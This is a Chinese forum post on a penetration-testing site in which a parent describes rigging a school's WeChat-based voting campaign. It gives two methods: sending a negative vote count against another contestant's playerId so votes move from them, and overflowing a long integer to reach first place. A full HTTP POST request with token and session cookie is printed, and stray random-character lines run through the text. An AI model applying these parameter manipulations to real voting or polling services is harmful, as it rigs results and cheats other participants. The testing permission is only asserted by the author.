中国网络渗透测试联盟

标题: 原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票 [打印本页]

---

作者: admin    时间: 2021-12-30 13:52
标题: 原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞，偶然看到我家小孩学校组织的投票活动，得知老师组织这次投票活动，我专门向老师申请做一次逻辑漏洞测试，老师说非常欢迎，老师说对我这个玩电脑的家长早有耳闻，于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密，解密发现openid等参数**
* _  }* L6 a' I! b0 _

! {, p  T  `5 `) c**1** **、第一种方法突破微信登陆投票**
* D$ {1 \" K; Z2 e6 g3 k' c' C; }
* ?" W+ Q8 z9 F% W! F一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票

首先用微信识别老师发来的投票二维码如图：
5 m( K* a( N; s2 v

使用微信号登陆，不停的放包，直到这里

; ~  q, F, E- s5 L4 p! T; r. [
; r$ c1 _$ f+ E3 _, y
修改playerIdwei为别人的，因为用自己的playerid，自己的票数为变为-负数，修改num数为负数，如-9999，因为num参数可控，这时候你的票数会多出9999票，别人会少9999票，打个比方如图：
0 O' q* `& u4 D, k" f
6 v2 l' R6 ~; o: V
  k3 [% ?, r# Y% t  h8 S1 A3 @# v5 }) n
& X6 ?. y% R/ |0 H' o2 W* H

这时候你就在你的账号不停歇的点投票就行，直到超过第一名，如图：

8 Q9 }8 a+ u! ~: ~2 p! W  j! z

4 g# _0 I+ j* m% H' _8 x- H+ a: ]
票数瞬间变为1002票，本来一个微信号一天只能投一个选手3票，这时候已经成功突破，秒变1002票。。。
/ K  E% l+ c4 u5 e, D
以上是第一种方法刷票，扣别人的票，加自己的余票，然后再刷给自己。。。**
: }1 K& w+ e1 q# ]" |% I
**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**

7 H+ W$ _6 B8 g同样到这个包，如下：

% n! P5 ]2 e- S4 c0 p! r2 H```
POST /vote/api/wx/voteFree/add HTTP/1.1
Host: 111.cn
1 A: }! n4 ?5 @' p1 uContent-Length: 73
, F$ U; I6 g  j4 ?+ e- bAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
1 Y% ~+ U. E: n$ ZUser-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0
) T+ `) ^$ C, J6 q9 [/ f  y/ SContent-Type: application/x-www-form-urlencoded; charset=UTF-8
& e2 `. n0 Q' q% I9 j; L1 h2 c, yOrigin: http://111.cn
) n% v5 d, S9 t; IReferer: http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default
- W- u& c# @5 e) u3 q3 lAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo
' L! @2 M/ K% {  L: H4 d8 D4 JConnection: close
. O2 V3 L+ W$ k' l  |0 s4 q8 SvoteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3

! \8 ]" e4 D7 q: N```

修改num=3333333{},如图：
! T$ Y- o2 p6 d0 S$ D9 J$ v  q( ?
8 z9 }9 Z* S( }: C. ]" |
) n7 e; ]  P) c% c- _

判断为long长整型，既然num=-333333可控，那我们就把num=-333333改为2的63次方，也就是num=-9223372036854775808，执行完以后，提示500错误，提示超出范围。。。然后微信打开投票二维码就卡半天了，恢复之前如图：

! J! N, N4 S' A% z* {1 U4 q
; ?4 x% s: Y0 b6 A) I/ q
: X9 Y* Z  a5 f: i
6 W& V4 x2 J# {$ J+ J
这是之前测试的时候不小心搞成，所以才有了第二种方法。。。。。

  Y& d% v4 [2 e" O- w1 z) {也就是刷票数为负 -270多万，如上图。。。
# w1 I+ k2 X  t4 I, V
! _1 Y% X+ _) u8 Y$ w# H+ c等溢出恢复以后票数变成15W多，排名第一，如图：
/ F/ A) f3 W8 v! j
0 c$ A/ q( Z" ?
/ C# ]) E$ H) d
" S/ f4 K1 [1 r' d3 |
**注：由于测试过程没有保存录像或图片，导致溢出以后的返回包没能贴图，不过没关系，正负数都试一遍，一般参数可负数的话，直接负的最大溢出量就够了。。。**
[/md]

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2